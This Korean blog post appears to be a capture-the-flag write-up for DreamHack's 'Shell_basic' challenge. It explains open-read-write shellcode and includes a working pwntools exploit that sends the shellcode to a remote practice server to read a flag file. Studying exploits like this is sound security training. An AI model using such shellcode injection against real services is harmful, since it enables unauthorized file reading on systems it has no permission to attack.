※ [DreamHack] Shell_basic 문제
조건 1 : 입력한 셸코드가 실행되는 프로그램이다.
조건 2 : execve, execveat 시스템 콜을 사용하지 못한다.
조건 3 : flag 위치와 이름은 "/home/shell_basic/flag_name_is_loooooong"이다.
※ 풀이
조건 1을 통해 셸코드를 입력하면 실행되기 때문에 원하는 동작을 하는 셸코드를 작성해서 입력하여 flag 파일을 읽는다.
조건 2를 통해 셸을 획득하기 위해 execve 시스템 콜을 사용하면 안된다.
조건 3을 통해 flag 파일의 위치와 이름을 알기 때문에 파일을 읽고 출력하는 orw 셸코드를 작성해서 입력하면 flag 파일을 읽고 출력할 수 있다.
orw 셸코드 작성법은 밑에 링크를 참조
1. shellcraft를 사용하면 편하다.
2. open의 rdi에 flag 파일 경로를 rsi와 rdx는 0을 넣는다. 반환값은 rax에 저장된다.
3. read의 rdi에 open의 반환값이 저장되어있는 rax를 넣고, rsi는 저장할 주소, rdx는 읽어올 크기를 넣는다.
4. write의 rdi는 stdout인 1을 넣고, rsi와 rdx는 read와 같다.
5. 이렇게 만들어진 셸 코드를 어셈블리어로 변환하여 전송한다.
6. 결과를 /n이 나올 때까지 출력한다.
※ 익스플로잇
from pwn import *
p = remote('host3.dreamhack.games',19704)
context(arch='amd64',os='linux')
flag = b"/home/shell_basic/flag_name_is_loooooong"
shellcode = ''
shellcode += shellcraft.open(flag,0,0)
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(0x1,'rsp',100)
p.sendlineafter(': ',asm(shellcode))
print(p.recvline()[:-1])
※ 결과
'Wargame > [DreamHack]System Hacking' 카테고리의 다른 글
[DreamHack] basic_exploitation_001 (0) | 2022.08.10 |
---|---|
[DreamHack] basic_exploitation_000 (0) | 2022.08.10 |
[DreamHack] Return Address Overwrite (0) | 2022.08.10 |